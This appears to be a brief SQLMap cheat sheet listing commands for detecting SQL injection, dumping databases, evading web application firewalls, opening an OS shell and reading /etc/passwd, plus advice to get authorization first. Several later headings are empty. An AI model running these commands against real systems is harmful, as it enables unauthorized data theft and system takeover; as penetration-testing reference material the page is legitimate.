Introduction
SQLMap is the world's most popular open-source SQL injection tool. It automates detection and exploitation of SQL injection vulnerabilities.
Basic Scanning
- Basic test: sqlmap -u "https://target.com/page?id=1"
- POST data: sqlmap -u "https://target.com/login" --data="user=admin&pass=123"
- Specific param: sqlmap -u "https://target.com/page?id=1" -p id
- List databases: sqlmap -u URL --dbs
- List tables: sqlmap -u URL -D mydb --tables
- Dump table: sqlmap -u URL -D mydb -T users --dump
- Dump all: sqlmap -u URL --dump-all
- Use tamper scripts: --tamper=space2comment,between
- Randomize user-agent: --random-agent
- Use cookies: --cookie="session=abc123"
- Get interactive shell: --os-shell
- Read local files: --file-read="/etc/passwd"
- Always get authorization before testing
- Start with less intrusive tests using --level=1 --risk=1
- Use --batch for automated scanning
- Save your session with --session for resume capability
- Test in a lab first to understand the tool
Database Enumeration
Advanced Techniques
Bypass WAF/IPS
OS Shell Access
Best Practices
Conclusion
SQLMap is essential for web application security testing. Master its capabilities and always use it responsibly.